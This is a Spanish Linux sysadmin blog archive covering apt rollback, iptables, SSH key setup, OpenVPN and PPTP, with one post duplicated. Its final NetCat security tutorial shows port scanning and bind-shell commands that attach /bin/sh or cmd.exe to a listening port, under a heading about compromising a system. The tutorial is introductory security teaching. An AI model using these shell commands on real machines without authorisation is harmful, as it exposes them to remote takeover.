Mostrando entradas con la etiqueta Linux Ubuntu/Debian. Mostrar todas las entradas
Mostrando entradas con la etiqueta Linux Ubuntu/Debian. Mostrar todas las entradas

2019-08-07

Problema después de hacer un APT UPDATE con la extension MSSQL 17 y PHP 7 en linux debian 9

Hola gente después de hacer un mantenimiento en mi server me encontré con un problema después de hacer APT Update.

En la lista de actualizaciones, tenia que actualizaba la versión de mi extensiones PHP para MSSQL de la msodbcsql17:amd64 (17.3.1.1-1, 17.4.1.1-1) y mssql-tools:amd64 (17.3.0.1-1, 17.4.1.1-1)

Pero como esto me trajo problema de conexión entre PHP y MSSQL dejo la solución para volver atrás esos cambio y que funcione de nuevo eso.

  1. Mira en ./../apt/history.log y recuperar las versión (vieja y nueva) en mi caso msodbcsql17:amd64 (17.3.1.1-1, 17.4.1.1-1) y mssql-tools:amd64 (17.3.0.1-1, 17.4.1.1-1)  
  2. apt install msodbcsql17=17.3.1.1-1 
  3. apt install mssql-tools=17.3.0.1-1
    Listo eso es todo para volver a una versión puntual con APT-GET

    Esto también es valido para volver atrás cualquier actualizacion por APT-GET a una versión puntal; el lugar útil para encontrar los datos correcto de los cambios lo podes ver en 

    /var/log/apt/history.log y /var/log/apt/term.log

    2019-05-27

    Redireccionar con IPTABLE puerto 80 a 8080 si el servicio web no corre como ROOT por la limitación de los puerto menores a 1024



    1. Primero como ROOT a nuestro Debian
    2. ip address (Miramos cual es la interfaz de red que escucha las llamadas con el exterior en mi caso es la enp0s3)
    3. iptables -A INPUT -i enp0s3 -p tcp --dport 80 -j ACCEPT
    4. iptables -A INPUT -i enp0s3 -p tcp --dport 8080 -j ACCEPT
    5. iptables -A PREROUTING -t nat -i enp0s3 -p tcp --dport 80 -j REDIRECT --to-port 8080

    Listo miramos que desde otra maquina funciones bien la nueva regla.
    El paso a seguir es que IPTABLES guarde los cambios de manera permanente en el sistema y sean cargados siempre que inicia el sistema por medio de un demonio en el arranque.

    1. Como ROOT en Debian
    2. apt install iptables-persistent (Para facilitar las cosas vamos a instalar iptables-persistent cuando pregunta si quiere que guarde las reglas actuales, indiquen que <SI> y listo)
    3. nano /etc/iptables/rules.v4 (Para ver que las reglas están guardadas)
    4. reboot (Para ver si esta todo ok y recuperar las reglas al iniciar el sistema solo)

    Eliminar UFW y limpiar todas las reglas viejas creadas por UFW dentro del IPTABLETS


    1. Primero entramos como ROOT
    2. service ufw stop
    3. update-rc.d -f ufw disable
    4. apt remove ufw
    5. service --status-all (si esta ufw en la lista corremos el siguiente comando PUNTO 4).
    6. rm /etc/init.d/ufw
    Listo con esto eliminamos UFW del sistema por completo.

    Los siguientes pasos son para limpiar IPTABLES por completo y no dejar ninguna regla o archivo vinculado a UFW

    1. Entro como ROOT
    2. iptables -t nat -F
    3. iptables -t mangle -F
    4. iptables -F
    5. iptables -X
    Listo quedo limpio IPTABLETS, para ver que no hay reglas solo ponemos

    1. Como ROOT
    2. iptables -L

    2018-08-22

    Configurar Server OpenSSH en Debian 9.5 con PublicKey tipo ED25519 que es mas segura que RSA y conectar con Putty

    Hola Amigos acá les dejo todo lo que hay que hacer para configurar el Server OpenSSH en Debian 9.5

    En estos pasos damos por entendido que el usuario que esta realizando los pasos es "user1" y en algunos momento "root" para otros cambios. Y tambien esta mis PC es la que tiene instalado el Server OpenSSH an que queremos entrar desde otro PC con Linux o Putty con Windows

    Linux donde instalamos el server OpenSSH

    Paso 1)
    Ver si tenes instala Server OpenSSH
    su root /etc/init.d/ssh status

    Si no existe el servicio, es porque no esta instalado, si existe pasa al paso 3

    Paso 2)
    Instalar Server SSH ponemos todo "YES"

    su root apt install openssh-server

    Paso 3)
    Configurar el server para poder entrar solo con clave y cambiar alguna parámetros por seguridad.

    echo '' > /var/log/sshd_banners
    su root nano /etc/ssh/sshd_config
    Cambiar el archivo sshd_config con
    Protocol 2 # <= inserta si no esta en el archivo
    Port 22 # <= Por otro numero distinto al estándar eje 2822
    PermitRootLogin no
    AllowUsers user1 user2 # <= lista de usuario en el sistema /home/xxx que van a entrar por ssh
    PubkeyAuthentication yes
    LoginGraceTime 2m
    PasswordAuthentication no
    PermitEmptyPasswords no
    StrictModes yes
    UsePAM no
    X11Forwarding no # <= Solo si trabajamos en modo consola
    PermitTunnel no
    UsePrivilegeSeparation sandbox
    PrintMotd no
    PrintLastLog yes
    Banner /var/log/sshd_banners.log
    Paso 4)
    Generar la clave publica y privada de tipo ED25519 y es recomendable poner un password para mas seguridad a la key que vamos a generar, si alguien te la roba también tiene que saber el password para poder utilizarla. Damos todo entre y ponemos un password o lo dejamos en blanco.
    ssh-keygen -t ed25519
    Paso 5)
    Ya tenemos los dos  archivos generado en nuevos directorio /home/user1/.ssh/
    id_ed25519          <= privada
    id_ed25519.pub   <= publico

    Paso 6)
    Crear el archivo "authorized_keys" que va en ese mismo directorio que va ir a buscar el mismo Server OpenSSH, copiamos la key publica a authorized_keys.
    cp -p /home/user1/.ssh/id_ed25519.pub /home/user1/.ssh/authorized_keys
    Paso 7)
    Reiniciamos el servicio de OpenSSH, para que tome todo los cambios.
    su root /etc/init.d/ssh restart
    Paso 8)
    En la misma Pc que tiene el server SSH  que es a donde queremos entrar desde windows con Putty por ejemplo. Ya esta listo, el server linux. Lo que nos queda hacer es sacar la clave privada "id_ed25519"

    Sacar la key privada para copiarla y llevar a PuTTYgen.
    cat /home/user1/.ssh/id_ed25519
    Paso 9)
    Copiamos todo lo que salio por pantalla, lo guardamos en un archivo key-user1-pri.ppk y pegamos dentro todo.

    -----BEGIN OPENSSH PRIVATE KEY-----
    b3Bsasasasadwfrrfrferwfewfefewfewcxzffgfdasfsd
    ........
    ........
    7owz/DzjZrPx1ABOSWlsaskakjsakljfiedGLg/m0=
    -----END OPENSSH PRIVATE KEY-----


    Windows Putty

    Paso 10)
    Abrimos PuTTYgen => "Load" y buscar el archivo creado antes como ejemplo "key-user1-pri.ppk"
    le ponemo el password si lo pide.
    Aceptamos el mensaje que muestra el programa.
    Y después marcamos "ED25519"
    Cuando este marcado, apretar el botón "Save private key" y se puede pisar el archivo cargado o crear una nuevo.


    Paso 11)
    Abrimos Putty y poner
    IP del server linux a conectar
    Cambiar el puerto si es distinto a 22
    Connection =>  Data => Auto-login poner el nombre del usuario del key "user1"
    Connection => SSH => Auth => Private key ... buscar el archivo nuevo reformatiado con PuTTYgen
    Volvemos a Session => Saved Sessions, ponemos un nombre y click en "Save"
    Y por ultimo "Open"

    Y listo tendría que poder entrar al server OpenSSH sin problema, si tu key tiene password te la va a pedir, si no tiene entrar directo al server.





    2015-07-09

    Como genera un diccionario en español para PHPStorm con Aspell desde Ubuntu

    Hola acá dejo los comando para poder generar una diccionarios para poner dentro del programa PHPStorm.

    Desde nuestro terminal en Ubuntu
    Pornesmo


    // Instalamos el Aspell + las fuentes en Español si no esta en la PC.
    sudo apt-get install aspell aspell-es

    // Genera un archivo UTF-8 con todas las palabra:
    aspell --lang=es --encoding=utf-8 dump master | aspell --lang=es --encoding=utf-8 expand | tr [:space:] '\n' > spanish-utf8.dic
    Listo con el archivo "spanish-utf8.dic" que se genero, lo podemos vincular dentro del programa para que soporte castellano y no marque errores cuando no los hay.

    Saludos

    2011-08-02

    Linux Live USB Creator: usa Linux desde el escritorio de Windows

    La gente que quiere probar Linux pero no se anima a instalarlo en su PC, cada vez la tiene más fácil. Hoy quiero hablarles de Linux Live USB creator, una herramienta gratuita que nos permite crear versiones “Live” de cualquier distro de Linux para que podamos ejecutarlas desde una memoria USB.



    Entre las funciones más destacadas de esta herramienta están: soporta cientos de distribuciones Linux, es gratis y open-source, muy fácil de usar y está disponible en múltiples idiomas.
    Una de las cosas que me gustó de “Lili” es que no tenemos que reiniciar nuestra PC para ejecutar la distro de Linux que queremos probar, sino que se puede usar directamente desde Windows. Además, a diferencia de los Live CD’s/DVD’s, en este caso podemos instalar programas y guardar archivos.
    Así que ya sabes, si quieres probar Linux sin complicaciones o simplemente, ya usas Linux y quieres llevar tu distro favorita para usarla en cualquier PC, prueba Linux Live USB Creator, estoy seguro que te va a encantar.

    2009-07-21

    Actualizar a OpenOffice 3.1 en Ubuntu

    Si deseas actualizar tu actual versión, lo que tienes que hacer es abrir tu lista de repositorios (sudo gedit /etc/apt/sources.list) y pegar al final la siguiente línea:

    deb http://ppa.launchpad.net/openoffice-pkgs/ppa/ubuntu jaunty main
    deb-src http://ppa.launchpad.net/openoffice-pkgs/ppa/ubuntu jaunty main

    Si tienes Intrepid Ibex (8.10) sólo reemplaza “jaunty” por “intrepid”

    Guardamos, y cerramos esa lista

    Luego descargamos la llave del repositorio para no tener problemas, escribiendo en la misma terminal:

    sudo apt-key adv –recv-keys –keyserver keyserver.ubuntu.com D2BB86E0EBD0F0A43D4DB3A760D11217247D1C

    Para terminar actualizamos el sistema para la nueva versión con sudo apt-get update && sudo apt-get upgrade

    Eso ha sido todo. Saludos

    2009-01-29

    Perfil Mandatorio en Linux (mejorado)

    Hola

    El pasado dia 7 de enero publique como hacer una especie de Perfil Mandatorio en Linux, para garantizar un perfil adecuado en cada inicio de sesión, pero al final me di cuenta que impidiendo el acceso de escritura en el direcctorio personal del usuario, algunas aplicaciones no funcionarian correctamente, así que buesqué otra solución.

    Esta segunda opción es un poco mas sencilla.

    1. Debemos crear un usuario a traves de Gnome (en mi caso), iniciamos sesión con dicho usuario, ajustamos la configuración de su perfil(Tapiz, configuración de Navegadores, Temas, etc…)

    2. Hacemos una copia compactada del perfil.

    $ tar -cvzf perfil_usuario.tar.gz /home/usuario

    3. Copiamos el fichero compactado para /root

    cp perfil_usuario.tar.gz /root

    4. Creamos un scrip que se encargará de descompactar en cada inicio de sesión el perfil compactado para el directorio /tmp y crear un enlace simbolico hacia el /home

    #!/bin/bash
    # script sencillo para generar carpetas temporales
    cd /tmp
    #descompactamos el perfil
    tar -xvzf /root/perfil_usuario.tar.gz
    #Crea enlace simbolico en /home/usuario
    ln -s /tmp/home/usuario /home/usuario
    exit 0

    Lo guardamos como usuario.sh en el directorio /root

    5. Ahora debemos asegurarnos que al iniciar la maquina se ejecute el script, para ello vamos al fichero /etc/rc.local y añadimos al final lo siguiente:

    /root/usuario.sh

    Weno, hasta aqui todo lo que necesitamos hacer, cada ves que la maquina se reinicia el directorio /tmp se limpia y se pierde el perfil del usuario, cuando la maquina inicia, se ejecuta el script, se descompacta el perfil para /tmp y se crea un enlace simbolico hacia el /home con todos los permisos y configuraciones del usuario.

    Hasta la próxima

    07
    Ene

    Perfil mandatorio en linux.

    Hola.

    En este artículo explicaré como crear un perfil mandatorio en una maquina linux, en este caso el perfil no se descarga del servidor ni tampoc funciona como en los Window$, pero por lo menos se logra mantener un escritorio limpio y organizado en un laboratorio donde acceden numerosas personas cada dia.

    Utilizaremos los archivos temporales del sistema operativo, asi nos aseguramos que cuando se reinicie la maquina se borren todos loa archivos que el usuario a dejado.

    Primero debemos un script que cree una carpeta llamada usuario en el directorio /tmp del sistema

    #!/bin/bash
    # script sencillo para generar carpetas temporales
    # Crea carpeta temporal llamada usuario
    mkdir /tmp/usuario
    # Crea sub carpetas dentro de usuario
    mkdir /tmp/usuario/documentos
    mkdir /tmp/usuario/videos
    mkdir /tmp/usuario/canciones
    #Crea enlace simbolico en /home/usuario
    ln -s /tmp/usuario /home/estudiante/Escritorio/usuario

    La última línea crea un enlace simbolico al Escritorio del estudiante, que sera donde unico tendrá permisos de escritura.

    El script que lo podemos guardar con el nombre perfil, y lo podemos guardar en /usr/bin

    Ahora para que este script se inicie cada vez que arranque la sesion del usuario estudiante usando gnome debemos de ir a :

    Sistema –> Preferencias —>Sesiones

    en la pestaña Programas de Inicio hacemos clix en el boton Añadir, luego donde dice Orden pongo la ruta completa donde guarde mi script en este caso:

    /usr/bin/perfil

    Luego abro terminal le doy permisos de ejecucion al script
    $chmod +x /usr/bin/perfil

    Ahora como root le doy permisos de solo lectura a /home/estudiante (para evitar que el usuario pueda escribir, guardar y/o modificar archivos en /home/estudiante)

    Como se han dado cuenta estoy forzando a que se guarden los documentos en /tmp/usuario

    Es cuestion de poner un aviso y decir que pueden guardar sus documentos en la carpeta usuario.

    Listo cada vez que se reinicia el sistema se borran todos los archivos que estan dentro de /tmp/usuario y la carpeta usuario se vuelve a crear cada vez que se reinicia el sistema.

    Es solo un pequeno ejemplo de lo que se puede hacer. Espero que sea de utilidad.

    Linvix

    Perfil mandatorio en linux.

    Hola.

    En este artículo explicaré como crear un perfil mandatorio en una maquina linux, en este caso el perfil no se descarga del servidor ni tampoc funciona como en los Window$, pero por lo menos se logra mantener un escritorio limpio y organizado en un laboratorio donde acceden numerosas personas cada dia.

    Utilizaremos los archivos temporales del sistema operativo, asi nos aseguramos que cuando se reinicie la maquina se borren todos loa archivos que el usuario a dejado.

    Primero debemos un script que cree una carpeta llamada usuario en el directorio /tmp del sistema

    #!/bin/bash
    # script sencillo para generar carpetas temporales
    # Crea carpeta temporal llamada usuario
    mkdir /tmp/usuario
    # Crea sub carpetas dentro de usuario
    mkdir /tmp/usuario/documentos
    mkdir /tmp/usuario/videos
    mkdir /tmp/usuario/canciones
    #Crea enlace simbolico en /home/usuario
    ln -s /tmp/usuario /home/estudiante/Escritorio/usuario

    La última línea crea un enlace simbolico al Escritorio del estudiante, que sera donde unico tendrá permisos de escritura.

    El script que lo podemos guardar con el nombre perfil, y lo podemos guardar en /usr/bin

    Ahora para que este script se inicie cada vez que arranque la sesion del usuario estudiante usando gnome debemos de ir a :

    Sistema –> Preferencias —>Sesiones

    en la pestaña Programas de Inicio hacemos clix en el boton Añadir, luego donde dice Orden pongo la ruta completa donde guarde mi script en este caso:

    /usr/bin/perfil

    Luego abro terminal le doy permisos de ejecucion al script
    $chmod +x /usr/bin/perfil

    Ahora como root le doy permisos de solo lectura a /home/estudiante (para evitar que el usuario pueda escribir, guardar y/o modificar archivos en /home/estudiante)

    Como se han dado cuenta estoy forzando a que se guarden los documentos en /tmp/usuario

    Es cuestion de poner un aviso y decir que pueden guardar sus documentos en la carpeta usuario.

    Listo cada vez que se reinicia el sistema se borran todos los archivos que estan dentro de /tmp/usuario y la carpeta usuario se vuelve a crear cada vez que se reinicia el sistema.

    Es solo un pequeno ejemplo de lo que se puede hacer. Espero que sea de utilidad.

    Linvix

    2009-01-09

    Algunos Puerto para activar en un Firewall

    Para PPTP hay que abrir el puerto TCP 1723 y abrir tambien el protocolo con el Id. 47 (GRE).

    Para L2TP hay que abrir el puerto TCP 1701; si se va a utilizar ademas IPSec, se debe abir el puerto UDP 500 y los protocolos de Id. 50 (IPSec ESP) y 51 (IPSec AH).

    HANSA puerto UDP 1200

    Terminal Server puerto TCP 3389

    DNS 53
    SMTP 25
    POP3 110
    FTP 21

    2008-12-30

    Instalar OpenVPN en Ubuntu

    Qué es una VPN

    Una red privada virtual (virtual private network) es una red de comunicaciones canalizada a través de otra red y dedicada a un uso específico. Para nuestro caso esa otra red es Internet. Establecer una VPN que use una red pública como Internet permite eliminar los costos de contratar un enlace dedicado.

    Pero Internet no es una red segura así que una VPN debe utilizar autenticación y encriptar el contenido que viaja a través de ella para evitar el uso de packet sniffers (software o hardware que puede interceptar el tráfico en una red insegura).

    Utilizar una VPS puede sonar muy esotérico para muchos pero con el incremento de conexiones WiFi y hotspots inseguros en todo el mundo pronto será una necesidad para todos los que no quieren que su información viaje desnuda por la Red.

    En el siguiente artículo veremos cómo instalar OpenVPN, una aplicación de código abierto para VPN, en Ubuntu 7.10. Son los pasos que seguí para conectar mis computadoras en Lima con uno de mis servidores en Nueva York y navegar la Red usando su IP. Ahora todos los sitios web y servicios que visito usando OpenVPN detectan mi conexión como si fuera hecha desde los Estados Unidos y todos mis datos viajan seguros.

    Y aún con más de una decada trabajando con muchos tipos de redes no pretendo ser un experto en TCP/IP y seguridad o que este sea un tratado sobre el tema así que no puedo ofrecer asistencia técnica sobre el tema pero estoy que tendremos a varios especialistas que podrán aportar en los comentarios.

    Instalar OpenVPN en Ubuntu paso a paso

    Vale, aquí los pasos que seguí para instalar OpenVPN en un cliente y un servidor, ambos corriendo con Ubuntu 7.10 aunque el procedimiento debe ser muy parecido en otras distribuciones. Gracias a Javier Albarracín, Bruno Kamiche y César Villegas por los tips.

    Primero definamos algunos puntos:

    • Servidor: es el equipo que aceptará las conexiones de los clientes a través de la VPN. En mi ejemplo usará el IP x.y.z.w (reemplaza por el IP público de tu servidor) y tiene como nombre servo.
    • Cliente: el equipo que se conectará al servidor a través de la VPN. Lo llamaremos cliento.
    • Red privada: la red que definiremos en nuestra VPN, usaremos 10.8.0.0 por lo que tendremos IP's como 10.8.0.1, 10.8.0.2, etc.
    • Todos los comandos deben ser ejecutados por root o través de sudo.
    • Los comandos que debes escribir están en negrita.
    • Para comentar una línea en openvpn.conf usa # al inicio de la línea.

    Lo primero es instalar OpenVPN:

    sudo apt-get install openvpn

    OpenVPN se instala tanto en el cliente como en el servidor, el archivo de configuración que usaremos al iniciar OpenVPN más adelante definirá el rol de cada equipo.

    Ahora comenta todas las líneas en /etc/default/openvpn y añade:

    AUTOSTART="openvpn"

    Esto le dice a OpenVPN cuál archivo de configuración predeterminado utilizará al iniciar el servicio. Los archivos de configuración se guardan en /etc/openvpn y usan la extensión .conf por lo que la instrucción de arriba le dice a OpenVPN que use /etc/openvpn/openvpn.conf, es un archivo que aún no existe y que crearemos en un momento.

    Ahora el servicio OpenVPN puede ser iniciado, detenido o reiniciado en la forma usual, veamos:

    Iniciar OpenVPN:

    /etc/init.d/openvpn start

    Detener OpenVPN:
    /etc/init.d/openvpn stop

    Reiniciar OpenVPN:
    /etc/init.d/openvpn restart

    Cada vez que se cambian parámetros en /etc/openvpn/openvpn.conf se debe reiniciar OpenVPN.

    Crear claves y certificados

    Pero antes de continuar crearemos los certificados y claves de seguridad. Todo esto se hace en el servidor como root. Ejecuta:

    cd /etc/openvpn/

    Y ahora copia el directorio easy-rsa a /etc/openvpn:

    cp -r /usr/share/doc/openvpn/examples/easy-rsa/ .

    Recuerda que seguimos en el directorio /etc/openvpn. Ahora editaré el archivo vars con nuestro editor favorito (reemplaza vi con el que tú prefieras):

    vi easy-rsa/vars

    Comenta esta línea:

    #export D=`pwd`

    Añade esta:
    export D=/etc/openvpn/easy-rsa

    Y modifica los siguientes parámetros:

    export KEY_COUNTRY=PE
    export KEY_PROVINCE=LI
    export KEY_CITY=Lima
    export KEY_ORG="Nombre-OpenVPN"
    export KEY_EMAIL="tu-nombre@example.com"

    Graba y cierra el archivo.

    Ahora ejecuta:

    . ./vars

    Importante, eso es un punto, un espacio y luego otro punto y seguido por /vars. Muchos lo olvidan.

    A continuación:
    ./clean-all

    El siguiente comando crea la autoridad de certificados (CA) usando los parámetros arriba definidos, solo deberás añadir Common Name, yo usé OpenVPN-CA. Este paso usa OpenSSL y si no lo tenías en tu servidor deberás instalarlo primero con:

    sudo apt-get install openssl

    Ahora sí:

    ./build-ca

    Ahora creamos las claves, primero para el servidor:

    ./build-key-server server

    Esta parte es muy importante. Cuando build-key-server te solicite Common Name escribe server, el mismo parámetro que le diste al comando.

    Hay dos preguntas más: Sign the certificate? [y/n] y 1 out of 1 certificate requests certified, commit? [y/n], responde afirmativamente en ambos casos.

    Y ahora la clave para el cliente:

    ./build-key client1

    Recuerda usar client1 como Common Name, al igual que el parámetro que usaste para build-key.

    Si vas a tener más clientes puedes repetir este último paso para client2, client3, etc.

    Ahora genera parámetros Diffie Hellman:

    ./build-dh

    Ahora debes tener un nuevo directorio con claves y certificados en tu servidor: /etc/openvpn/easy-rsa/keys. Para configurar tu primer cliente copia los siguientes archivos de servo a cliento:

    ca.crt
    client1.crt
    client1.key

    Lo ideal es usar un canal seguro, yo prefiero scp con autenticación RSA (tema para otro artículo), ejecutando algo como esto en el cliente:

    scp alexis@servo:ca.crt .
    scp alexis@servo:client1.crt .
    scp alexis@servo:client1.key .

    Estos comandos asumen que copiaste los archivos al directorio personal del usuario alexis en el servidor y les asignaste permisos de lectura. Luego debes moverlos a /etc/openvpn en el cliente.

    Los archivos de configuración: openvpn.conf

    Aún en el cliente crea un archivo llamado openvpn.conf en /etc/openvpn y escribe lo siguiente en él:

    dev tun
    client
    proto tcp
    remote x.y.z.w 1194
    resolv-retry infinite
    nobind
    user nobody
    group nogroup

    # Try to preserve some state across restarts.
    persist-key
    persist-tun
    ca ca.crt
    cert client1.crt
    key client1.key
    comp-lzo

    # Set log file verbosity.
    verb 3

    No olvides reemplazar x.y.z.w por el IP público de tu servidor.

    Ahora en el servidor crea un archivo openvpn.conf en /etc/openvpn y escribe lo siguiente en él:

    dev tun
    proto tcp
    port 1194

    ca /etc/openvpn/easy-rsa/keys/ca.crt
    cert /etc/openvpn/easy-rsa/keys/server.crt
    key /etc/openvpn/easy-rsa/keys/server.key
    dh /etc/openvpn/easy-rsa/keys/dh1024.pem

    user nobody
    group nogroup
    server 10.8.0.0 255.255.255.0

    persist-key
    persist-tun

    #status openvpn-status.log
    #verb 3
    client-to-client

    push "redirect-gateway def1"

    #log-append /var/log/openvpn
    comp-lzo

    En mi primeras pruebas tuve conexiones muy lentas y me ayudó desactivar la compresión en cliente y servidor comentando esta línea:

    #comp-lzo

    Y finalmente configura IP forwarding e iptables para NAT en el servidor:

    echo 1 > /proc/sys/net/ipv4/ip_forward

    sudo iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE

    Puedes verificar que la regla fue escrita correctamente con un listado:
    sudo iptables -L -t nat

    Si tienes un Firewall deberás desactivarlo para probar y luego crear reglas que permitan que el tráfico de tu VPN pase.

    Si quieres remover todas las reglas si cometiste un error con:
    sudo iptables -F -t nat

    Reiniciar OpenVPN en ambos equipos, cliente y servidor, y deberías estar listo.

    Si ahora ejecutas ifconfig y route -n deberías ver una nueva interfaz, tun0, en cliente y servidor.

    Puedes confirmar que hay conexíon haciendo ping entre ambos usando los IP de las interfaces tun0, por ejemplo:

    ping 10.8.0.1

    Ahora tu cliente está conectado al servidor a través de OpenVPN y puedes navegar en forma segura a través del IP del servidor (y usar Hulu y Pandora).

    Suerte.

    Recursos adicionales

    Instalar y Configurar Cliente VPN en Ubuntu

    Cómo instalar y configurar el acceso VPN por PPTP en Ubuntu 7.10

    La instalación y configuración del acceso VPN (Red Privada Virtual) por PPTP, no es complicada en Ubuntu, como siempre. Hay dos métodos, uno a través del interfaz gráfico y otro a través de la consola, utilizando comandos. Voy a describir el que utiliza el interfaz gráfico, para aquellos que cominezan en debian y están más familiarizados con los GUI (Graphic User Interface):

    Instalación a través del interfaz gráfico

    En la barra de tareas, pulsamos sobre Aplicaciones -> Añadir y Quitar…

    Una vez en el cuadro de diálogo correspondiente, en el campo “Buscar” escribiremos pptp y en el campo “Mostrar” seleccionaremos “Todas las aplicaciones disponibles”. Rápidamente nos aparecerá el Gestor de conexiones VPN (PPP Genérico) que selecionaremos marcando la casilla que lo identifica. Pulsamos en “Aplicar cambios” una vez finalizada la instalación, deberemos reiniciar el sistema.

    Configuración del acceso VPN PPTP

    Debemos pulsar con el botón derecho sobre el icono que identifica al Network Manager en la barra de tareas. Si no hemos variado la posición de la barra desde la instalación inicial de Ubuntu, el icono aparecerá típicamente en la parte superior derecha de la pantalla, y mostrará información acerca de nuestra conexión de red.

    Al pulsar sobre este icono, se desplegará un menú que nos dejará seleccionar la opción Conexiones VPN -> Configurar VPN. En el cuadro de diálogo que nos acaba de aparecer, pulsamos el botón “Añadir” y se iniciará un asistente que nos guiará durante el proceso. En el primer paso seleccionamos “PPTP Tunel”. En el segundo paso, hay varias solapas. En la primera ponemos el nombre al nuestra conexión, el que queramos. Debajo, indicamos que es tipo Windows VPN (PPP) y ponemos la pasarela que será la IP del servidor VPN.

    En la pestaña Autenticación deberemos marcar “rechazar EAP” y “rechazar CHAP”. En la pestaña “Compresión y Encriptación” no tocaremos nada. En la pestaña “Opciones PPP” tampoco tocaremos nada en principio. En la última, “Enrutado”, podemos deshabilitar “DNS del compañero a través del tunel” y marcar la opción “Sólamente utilizar VPN para estas conexiones:” Aquí tendremos que especificar la subred a la que queremos acceder por VPN. Esto se podría dejar sin marcar, sin embargo de esta manera, sólo encaminaremos el tráfico que vaya a la red a la que accedemos remotamente por la conexión VPN. El resto del tráfico seguirá por nuestra conexión a internet o LAN habitual, y mejoraremos el rendimiento. En el campo donde se especifican las direcciones a la que accederemos por la VPN, pondremos la dirección IP de la red y su máscara, por ejemplo, 172.26.0.0/16 según esta notación si las direcciones ip son del tipo 172.26.0.1 con máscara 255.255.0.0

    Una vez guardada la configuración al pulsar otra vez sobre el icono de la barra de tareas de Network Manager, y seleccionar Conexiones VPN, aparecerá la conexión que acabamos de crear y bastará con pulsar en ella para que nos pida usuario y contraseña. Si la conexión no aparece, pero ya la hemos configurado, (la vemos en la lista del cuadro de dialogo “Configurar VPN”), reinicia el sistema y aparecerá.

    Activar y Crear conexiónes VPN desde Ubuntu 8.10 por medio del escritorio

    Desde el Network Manager Applet de la nueva versión de Ubuntu Intrepid Ibex 8.10 ahora es muy sencillo manejar nuestras conexiones de red, tanto que con unos cuantos clicks podemos crear interfaces de red virtuales, conexiones moviles 3G, conexiones VPN… etc.

    Pero ¡cual es nuestra sorpresa cuando al querer crear una conexión VPN no nos da la opción de Añadir! La solución es bastante sencilla, sólo hay que instalar unos cuantos paquetes y ¡todo listo!

    Vamos a una consola y tecleamos:

    sudo apt-get install network-manager-openvpn network-manager-vpnc network-manager-pptp

    Una vez hecho ésto ya podemos crer nuestra red VPN fácilmente.

    2008-12-20

    NetCat sobre seguridad Linux y mas..

    Mucho se habla de la seguridad en linux, pero, cuantos realmente saben de lo que se trata, pocos se imaginan que con unos simples comandos se puede ganar el acceso total a un sistema, o usar programas que nos permitan ver todo el flujo de una red incluida nombres de usuario y contraseñas.
    El mundo de la seguridad informatica es tremendamente enorme, así que me voy a enfocar solo en algunos puntos claves que creo de interés.

    La Navaja Suiza - NetCat

    Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos).
    Fuente: Wikipedia

    Ahora hagamos algunas pruebas para interiorizarnos en el tema…

    Haciendo algunas pruebas :: Conectandose a un servidor

    Parte del uso de sockets es la conexión a una maquina remota / Servidor la forma es muy simple.

    # nos conectamos a smtp.gmail.com en el puerto 587
    nc smtp.gmail.com 587

    De esta manera nos conectamos al servidor indicado y vemos que nos devuelve:

    220 mx.google.com ESMTP 9sm9456733yxs.55

    Haciendo algunas pruebas :: Escaneado de Puertos

    Que? sirve para escanear puertos? si, claro, no tiene la potencia de nmap pero es muy útil, y su uso es más que simple:

    # Suponemos que queremos hacer un escaneo a los puertos TCP 21 y 80
    nc -v -w 4 -z 21 80
    # Ahora lo mismo, pero con un rango, así es más útil
    nc -v -w 4 -z 1-2045

    Ahora detallamos los parametros:

    -v : Verbose - muestra info en pantalla
    -w x: Espera X segundos antes que caduque la conexion
    -z : Zero mode - No enviar datos al puerto (si, no envia datos para hacerlo)

    La salida sería algo como esto:

    iuga@rebuilt:~$ nc -v -w 4 -z localhost 1-65535
    localhost [127.0.0.1] 631 (ipp) open
    localhost [127.0.0.1] 445 (microsoft-ds) open
    localhost [127.0.0.1] 139 (netbios-ssn) open

    Si queremos ir un poco más a fondo, podemos escanear puertos UDP:

    nc -vz -u localhost 1-90

    -vz : Info + Zero mode
    -u : Puerto UDP

    Haciendo algunas pruebas :: Levantando un servidor y conetarse al mismo

    Levantar un servidor con netcat significa poner un proceso, en este caso netcat, a la escucha en un determinado puerto, la idea es simple, el proceso escucha, hasta que alguien se conecta a él para su uso. Creamos el servidor de la siguiente manera:

    nc -l -p 666

    -l : Modo Listen, se pone a la escucha
    -p : Indica el puerto

    Ya tenemos nuestro servidor netcat levantado en el puerto 666, claro no hace nada, pero para conectarnoe podemos:

    nc localhost 666

    Muy simple no? Ya podemos enviar y recibir info:

    Conectarse a un server
    Probando la conexión a un server

    Haciendo algunas pruebas :: Enviando Archivos

    Para no hacer esto tán largo y complicado y llegar a lo que realmente importa vamos con el ejemplo directo.
    El que recibe el archivo ejecuta:

    nc -l -p 2000 > fichero.recibido

    Luego, el que envia el archivo:

    nc localhost 2000 <>

    Los límites del uso de NetCat

    Entre los usos que le podemos dar a esta espectacular herrmienta se encuentra:

  1. Servidor de echo
  2. Servidor de daytime
  3. shell remota estilo telnet
  4. Telnet inverso
  5. Cliente de IRC
  6. Cliente de correo SMTP
  7. HTTP
  8. Streaming de audio
  9. Streaming de video
  10. Proxy
  11. Comprometiendo un sistema :: Obteniendo una shell de una maquina remota

    Como el título lo dice, vamos a controlar la shell de una máquina remota (linea de comandos, consola, como quieran llamarlo). Para esto, en la máquina objetivo levantamos el servidor:

    # Si es windows
    nc -l -d -e cmd.exe -p 666
    # Si es unix
    nc -l -p 666 -e "/bin/sh"

    e “comando” : Ejecuta el comando entre comillas

    Para conectarnos simplemente:

    nc localhost 666


    Obteniendo una shell remota con netcat

    En este punto ya podemos tirar cualquier comando sobre la maquina objetivo y ver la respuesta. Voy a intentar dar un pantallazo de como funciona.
    Primero, el servidor escucha en el puerto y esta listo para devolverle la shell al que se conecte.
    Segundo, Nos conectamos y nos devuelve la shell, pero no vemos nada, para ver si funciona, podemos intentar ejecutar un comando, como ls.
    Tercero, el servidor creado, recibe la entrada de datos y lo interpreta como una entrada en la shell, así que tras recibir un enter, ejecuta el comando e imprime los datos en el “buffer”.
